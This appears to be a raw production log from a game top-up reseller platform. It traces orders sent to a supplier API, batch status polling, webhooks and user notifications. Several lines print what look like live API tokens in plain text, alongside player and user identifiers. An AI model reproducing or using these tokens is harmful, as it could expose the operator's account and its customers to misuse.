[2026-03-24 19:05:06] production.INFO: SendAcceptReject: Notification queued {"user_id":409,"notification_type":"request_approved","reference_id":18676} 
[2026-03-24 19:05:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 19:05:06] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 409  
[2026-03-24 19:05:15] production.INFO: SendAcceptReject: Notification queued {"user_id":1515,"notification_type":"request_approved","reference_id":18677} 
[2026-03-24 19:05:15] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1515  
[2026-03-24 19:05:50] production.INFO: Constructing job for order: 179172  
[2026-03-24 19:05:51] production.INFO: Handling job for order: 179172  
[2026-03-24 19:05:51] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:05:51] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:05:51] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/564/params?qty=25000&uuid=952a071e-48f7-46ca-8e21-85760788f5f7&Player_ID=221384559  
[2026-03-24 19:05:51] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/564/params?qty=25000&uuid=952a071e-48f7-46ca-8e21-85760788f5f7&Player_ID=221384559","has_body":false} 
[2026-03-24 19:05:52] production.INFO: Operation sent successfully {"operation_id":164073,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-NrdhEh-1774368352","amount":3.441299999999999581490328637300990521907806396484375,"status":"processing","product":"Sugo Amount","game":"Sugo","notes":[],"created_at":"2026-03-24 19:05:52"}},"processed_data":{"order_number":"ORD-NrdhEh-1774368352","amount":3.441299999999999581490328637300990521907806396484375,"status":"processing","product":"Sugo Amount","game":"Sugo"}} 
[2026-03-24 19:05:57] production.INFO: Constructing job for order: 179173  
[2026-03-24 19:05:58] production.INFO: Handling job for order: 179173  
[2026-03-24 19:05:58] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 19:05:58] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:05:58] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/35/params?qty=1&uuid=05886394-e9d7-46ca-ab08-1f857ddb1074&Player_ID=0996950232  
[2026-03-24 19:05:58] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/35/params?qty=1&uuid=05886394-e9d7-46ca-ab08-1f857ddb1074&Player_ID=0996950232","has_body":false} 
[2026-03-24 19:05:59] production.INFO: Operation sent successfully {"operation_id":164074,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-AgS-1774368359","amount":55.807940000000002100932761095464229583740234375,"status":"processing","product":"52.88 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 19:05:59"}},"processed_data":{"order_number":"ORD-AgS-1774368359","amount":55.807940000000002100932761095464229583740234375,"status":"processing","product":"52.88 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 19:06:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"tTNA1TeOrXZA1hc0InTHuSnh8o6S1U2Q","execution_time":"2026-03-24 19:06:02"} 
[2026-03-24 19:06:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"tTNA1TeOrXZA1hc0InTHuSnh8o6S1U2Q","execution_time":"2026-03-24 19:06:02","total_operations":4,"sites_count":2} 
[2026-03-24 19:06:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"tTNA1TeOrXZA1hc0InTHuSnh8o6S1U2Q","execution_time":"2026-03-24 19:06:02","site_id":3,"site_name":"swgamessd","orders_count":3,"order_ids":["ORD-tmRYG-1774365381","ORD-2r4aIK-1774368272","ORD-NrdhEh-1774368352"]} 
[2026-03-24 19:06:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"tTNA1TeOrXZA1hc0InTHuSnh8o6S1U2Q","execution_time":"2026-03-24 19:06:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 19:06:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"tTNA1TeOrXZA1hc0InTHuSnh8o6S1U2Q","execution_time":"2026-03-24 19:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":3} 
[2026-03-24 19:06:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"tTNA1TeOrXZA1hc0InTHuSnh8o6S1U2Q","execution_time":"2026-03-24 19:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-2r4aIK-1774368272","operation_id":164072} 
[2026-03-24 19:06:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"tTNA1TeOrXZA1hc0InTHuSnh8o6S1U2Q","execution_time":"2026-03-24 19:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-NrdhEh-1774368352","operation_id":164073} 
[2026-03-24 19:06:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"tTNA1TeOrXZA1hc0InTHuSnh8o6S1U2Q","execution_time":"2026-03-24 19:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 19:06:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"tTNA1TeOrXZA1hc0InTHuSnh8o6S1U2Q","execution_time":"2026-03-24 19:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":0,"skipped":3,"updates_prepared":0} 
[2026-03-24 19:06:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"tTNA1TeOrXZA1hc0InTHuSnh8o6S1U2Q","execution_time":"2026-03-24 19:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":0,"errors":0} 
[2026-03-24 19:06:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"tTNA1TeOrXZA1hc0InTHuSnh8o6S1U2Q","execution_time":"2026-03-24 19:06:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"orders_count":1,"order_ids":["ORD-AgS-1774368359"]} 
[2026-03-24 19:06:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"tTNA1TeOrXZA1hc0InTHuSnh8o6S1U2Q","execution_time":"2026-03-24 19:06:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 19:06:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"tTNA1TeOrXZA1hc0InTHuSnh8o6S1U2Q","execution_time":"2026-03-24 19:06:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"orders_count":1} 
[2026-03-24 19:06:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"tTNA1TeOrXZA1hc0InTHuSnh8o6S1U2Q","execution_time":"2026-03-24 19:06:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-AgS-1774368359","operation_id":164074} 
[2026-03-24 19:06:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"tTNA1TeOrXZA1hc0InTHuSnh8o6S1U2Q","execution_time":"2026-03-24 19:06:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-AgS-1774368359","operation_id":164074,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 19:06:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"tTNA1TeOrXZA1hc0InTHuSnh8o6S1U2Q","execution_time":"2026-03-24 19:06:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-AgS-1774368359","operation_id":164074,"processed":0,"errors":0} 
[2026-03-24 19:06:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"tTNA1TeOrXZA1hc0InTHuSnh8o6S1U2Q","execution_time":"2026-03-24 19:06:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-AgS-1774368359","operation_id":164074} 
[2026-03-24 19:06:16] production.INFO: Constructing job for order: 179174  
[2026-03-24 19:06:17] production.INFO: Handling job for order: 179174  
[2026-03-24 19:06:17] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:06:17] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:06:17] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/96/params?qty=15000&uuid=34d0e325-638b-4850-88b6-aabc1e841f94&Player_ID=58904149  
[2026-03-24 19:06:17] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/96/params?qty=15000&uuid=34d0e325-638b-4850-88b6-aabc1e841f94&Player_ID=58904149","has_body":false} 
[2026-03-24 19:06:18] production.INFO: Operation sent successfully {"operation_id":164075,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-1sA4xQ-1774368378","amount":1.525735500000000133269395519164390861988067626953125,"status":"processing","product":"Poppo Amount","game":"PoppoLive","notes":[],"created_at":"2026-03-24 19:06:18"}},"processed_data":{"order_number":"ORD-1sA4xQ-1774368378","amount":1.525735500000000133269395519164390861988067626953125,"status":"processing","product":"Poppo Amount","game":"PoppoLive"}} 
[2026-03-24 19:07:49] production.INFO: Constructing job for order: 179175  
[2026-03-24 19:07:51] production.INFO: Handling job for order: 179175  
[2026-03-24 19:07:51] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:07:51] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:07:51] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/584/params?qty=7000&uuid=45cf60b2-3bad-45bf-bf99-44e002a33625&Player_ID=110762955  
[2026-03-24 19:07:51] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/584/params?qty=7000&uuid=45cf60b2-3bad-45bf-bf99-44e002a33625&Player_ID=110762955","has_body":false} 
[2026-03-24 19:07:52] production.INFO: Operation sent successfully {"operation_id":164076,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-SpkYU-1774368472","amount":11.7856018000000002388105713180266320705413818359375,"status":"processing","product":"Yaahlan Amount","game":"Yaahlan","notes":[],"created_at":"2026-03-24 19:07:52"}},"processed_data":{"order_number":"ORD-SpkYU-1774368472","amount":11.7856018000000002388105713180266320705413818359375,"status":"processing","product":"Yaahlan Amount","game":"Yaahlan"}} 
[2026-03-24 19:08:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"IvopaRYtwaAUNPRWAcvCx73kStXrUSYM","execution_time":"2026-03-24 19:08:01"} 
[2026-03-24 19:08:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"IvopaRYtwaAUNPRWAcvCx73kStXrUSYM","execution_time":"2026-03-24 19:08:01","total_operations":6,"sites_count":2} 
[2026-03-24 19:08:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"IvopaRYtwaAUNPRWAcvCx73kStXrUSYM","execution_time":"2026-03-24 19:08:01","site_id":3,"site_name":"swgamessd","orders_count":5,"order_ids":["ORD-tmRYG-1774365381","ORD-2r4aIK-1774368272","ORD-NrdhEh-1774368352","ORD-1sA4xQ-1774368378","ORD-SpkYU-1774368472"]} 
[2026-03-24 19:08:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"IvopaRYtwaAUNPRWAcvCx73kStXrUSYM","execution_time":"2026-03-24 19:08:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 19:08:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"IvopaRYtwaAUNPRWAcvCx73kStXrUSYM","execution_time":"2026-03-24 19:08:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":5} 
[2026-03-24 19:08:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"IvopaRYtwaAUNPRWAcvCx73kStXrUSYM","execution_time":"2026-03-24 19:08:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-2r4aIK-1774368272","operation_id":164072} 
[2026-03-24 19:08:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"IvopaRYtwaAUNPRWAcvCx73kStXrUSYM","execution_time":"2026-03-24 19:08:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-NrdhEh-1774368352","operation_id":164073} 
[2026-03-24 19:08:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"IvopaRYtwaAUNPRWAcvCx73kStXrUSYM","execution_time":"2026-03-24 19:08:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-SpkYU-1774368472","operation_id":164076} 
[2026-03-24 19:08:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"IvopaRYtwaAUNPRWAcvCx73kStXrUSYM","execution_time":"2026-03-24 19:08:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 19:08:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"IvopaRYtwaAUNPRWAcvCx73kStXrUSYM","execution_time":"2026-03-24 19:08:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":1,"skipped":4,"updates_prepared":1} 
[2026-03-24 19:08:01] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"IvopaRYtwaAUNPRWAcvCx73kStXrUSYM","execution_time":"2026-03-24 19:08:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 19:08:01] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"IvopaRYtwaAUNPRWAcvCx73kStXrUSYM","execution_time":"2026-03-24 19:08:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"count":1} 
[2026-03-24 19:08:01] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"IvopaRYtwaAUNPRWAcvCx73kStXrUSYM","execution_time":"2026-03-24 19:08:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"count":1} 
[2026-03-24 19:08:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"IvopaRYtwaAUNPRWAcvCx73kStXrUSYM","execution_time":"2026-03-24 19:08:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"user_id":59,"notification_type":"order_approved","reference_id":179174} 
[2026-03-24 19:08:01] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"IvopaRYtwaAUNPRWAcvCx73kStXrUSYM","execution_time":"2026-03-24 19:08:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 19:08:01] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"IvopaRYtwaAUNPRWAcvCx73kStXrUSYM","execution_time":"2026-03-24 19:08:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 19:08:01] production.INFO: Batch update completed {"job":"Quryjob","job_id":"IvopaRYtwaAUNPRWAcvCx73kStXrUSYM","execution_time":"2026-03-24 19:08:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":1,"errors":0} 
[2026-03-24 19:08:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"IvopaRYtwaAUNPRWAcvCx73kStXrUSYM","execution_time":"2026-03-24 19:08:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":1,"errors":0} 
[2026-03-24 19:08:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"IvopaRYtwaAUNPRWAcvCx73kStXrUSYM","execution_time":"2026-03-24 19:08:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"orders_count":1,"order_ids":["ORD-AgS-1774368359"]} 
[2026-03-24 19:08:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"IvopaRYtwaAUNPRWAcvCx73kStXrUSYM","execution_time":"2026-03-24 19:08:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 19:08:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"IvopaRYtwaAUNPRWAcvCx73kStXrUSYM","execution_time":"2026-03-24 19:08:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"orders_count":1} 
[2026-03-24 19:08:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"IvopaRYtwaAUNPRWAcvCx73kStXrUSYM","execution_time":"2026-03-24 19:08:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-AgS-1774368359","operation_id":164074,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 19:08:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"IvopaRYtwaAUNPRWAcvCx73kStXrUSYM","execution_time":"2026-03-24 19:08:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-AgS-1774368359","operation_id":164074,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 19:08:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"IvopaRYtwaAUNPRWAcvCx73kStXrUSYM","execution_time":"2026-03-24 19:08:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-AgS-1774368359","operation_id":164074,"count":1} 
[2026-03-24 19:08:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"IvopaRYtwaAUNPRWAcvCx73kStXrUSYM","execution_time":"2026-03-24 19:08:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-AgS-1774368359","operation_id":164074,"count":1} 
[2026-03-24 19:08:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"IvopaRYtwaAUNPRWAcvCx73kStXrUSYM","execution_time":"2026-03-24 19:08:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-AgS-1774368359","operation_id":164074,"user_id":1074,"notification_type":"order_approved","reference_id":179173} 
[2026-03-24 19:08:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"IvopaRYtwaAUNPRWAcvCx73kStXrUSYM","execution_time":"2026-03-24 19:08:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-AgS-1774368359","operation_id":164074,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 19:08:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"IvopaRYtwaAUNPRWAcvCx73kStXrUSYM","execution_time":"2026-03-24 19:08:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-AgS-1774368359","operation_id":164074,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 19:08:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"IvopaRYtwaAUNPRWAcvCx73kStXrUSYM","execution_time":"2026-03-24 19:08:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-AgS-1774368359","operation_id":164074,"processed":1,"errors":0} 
[2026-03-24 19:08:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"IvopaRYtwaAUNPRWAcvCx73kStXrUSYM","execution_time":"2026-03-24 19:08:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-AgS-1774368359","operation_id":164074,"processed":1,"errors":0} 
[2026-03-24 19:08:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"IvopaRYtwaAUNPRWAcvCx73kStXrUSYM","execution_time":"2026-03-24 19:08:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-AgS-1774368359","operation_id":164074} 
[2026-03-24 19:08:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 59  
[2026-03-24 19:08:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1074  
[2026-03-24 19:08:03] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-NrdhEh-1774368352","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 19:08:03] production.INFO: Processed webhook data (normalized) {"id":"ORD-NrdhEh-1774368352","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 19:08:03] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 19:08:03] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-2r4aIK-1774368272","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 19:08:03] production.INFO: Processed webhook data (normalized) {"id":"ORD-2r4aIK-1774368272","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 19:08:03] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 19:08:03] production.INFO: SendAcceptReject: Notification queued {"user_id":227,"notification_type":"order_approved","reference_id":179172} 
[2026-03-24 19:08:03] production.INFO: Order updated successfully. Order ID: 179172, Status: completed  
[2026-03-24 19:08:03] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-NrdhEh-1774368352","status":"completed","codes_count":0} 
[2026-03-24 19:08:03] production.INFO: SendAcceptReject: Notification queued {"user_id":1461,"notification_type":"order_approved","reference_id":179171} 
[2026-03-24 19:08:03] production.INFO: Order updated successfully. Order ID: 179171, Status: completed  
[2026-03-24 19:08:03] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-2r4aIK-1774368272","status":"completed","codes_count":0} 
[2026-03-24 19:08:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 227  
[2026-03-24 19:08:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1461  
[2026-03-24 19:08:59] production.INFO: Constructing job for order: 179176  
[2026-03-24 19:09:02] production.INFO: Handling job for order: 179176  
[2026-03-24 19:09:02] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:09:02] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:09:02] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/94/params?qty=2450&uuid=3c3800aa-36a7-4787-891d-61f67e689314&Player_ID=51103728  
[2026-03-24 19:09:02] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/94/params?qty=2450&uuid=3c3800aa-36a7-4787-891d-61f67e689314&Player_ID=51103728","has_body":false} 
[2026-03-24 19:09:02] production.INFO: Operation sent successfully {"operation_id":164077,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-ejTzYyc-1774368542","amount":4.20584713499999995889311321661807596683502197265625,"status":"processing","product":"Soulchill Amount","game":"SoulChill","notes":[],"created_at":"2026-03-24 19:09:02"}},"processed_data":{"order_number":"ORD-ejTzYyc-1774368542","amount":4.20584713499999995889311321661807596683502197265625,"status":"processing","product":"Soulchill Amount","game":"SoulChill"}} 
[2026-03-24 19:09:20] production.INFO: Constructing job for order: 179177  
[2026-03-24 19:09:23] production.INFO: Handling job for order: 179177  
[2026-03-24 19:09:23] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:09:23] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:09:23] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/95/params?qty=200&uuid=74cc0216-eb2b-445a-92ea-cf9ee5f5f403&Player_ID=Aboe1234  
[2026-03-24 19:09:23] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/95/params?qty=200&uuid=74cc0216-eb2b-445a-92ea-cf9ee5f5f403&Player_ID=Aboe1234","has_body":false} 
[2026-03-24 19:09:25] production.INFO: Operation sent successfully {"operation_id":164078,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-yJll-1774368564","amount":3.49565215999999967522171573364175856113433837890625,"status":"processing","product":"Bigo Amount","game":"BigoLive","notes":[],"created_at":"2026-03-24 19:09:25"}},"processed_data":{"order_number":"ORD-yJll-1774368564","amount":3.49565215999999967522171573364175856113433837890625,"status":"processing","product":"Bigo Amount","game":"BigoLive"}} 
[2026-03-24 19:09:30] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-yJll-1774368564","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 19:09:30] production.INFO: Processed webhook data (normalized) {"id":"ORD-yJll-1774368564","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 19:09:30] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 19:09:30] production.INFO: SendAcceptReject: Notification queued {"user_id":1665,"notification_type":"order_approved","reference_id":179177} 
[2026-03-24 19:09:30] production.INFO: Order updated successfully. Order ID: 179177, Status: completed  
[2026-03-24 19:09:30] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-yJll-1774368564","status":"completed","codes_count":0} 
[2026-03-24 19:09:31] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1665  
[2026-03-24 19:09:53] production.INFO: Constructing job for order: 179178  
[2026-03-24 19:09:55] production.INFO: Handling job for order: 179178  
[2026-03-24 19:09:55] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:09:55] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:09:55] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=a7248e29-ccf9-4c2d-b2d4-139eaebec11c&Player_ID=5340219212  
[2026-03-24 19:09:55] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=a7248e29-ccf9-4c2d-b2d4-139eaebec11c&Player_ID=5340219212","has_body":false} 
[2026-03-24 19:09:56] production.INFO: Operation sent successfully {"operation_id":164079,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Clcqbox-1774368595","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 19:09:56"}},"processed_data":{"order_number":"ORD-Clcqbox-1774368595","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 19:10:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"1hMre1szX3nKTs7gcZreaRvhbXgCsB4d","execution_time":"2026-03-24 19:10:02"} 
[2026-03-24 19:10:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"1hMre1szX3nKTs7gcZreaRvhbXgCsB4d","execution_time":"2026-03-24 19:10:02","total_operations":4,"sites_count":1} 
[2026-03-24 19:10:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"1hMre1szX3nKTs7gcZreaRvhbXgCsB4d","execution_time":"2026-03-24 19:10:02","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-tmRYG-1774365381","ORD-SpkYU-1774368472","ORD-ejTzYyc-1774368542","ORD-Clcqbox-1774368595"]} 
[2026-03-24 19:10:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"1hMre1szX3nKTs7gcZreaRvhbXgCsB4d","execution_time":"2026-03-24 19:10:02","site_id":3,"site_name":"swgamessd"} 
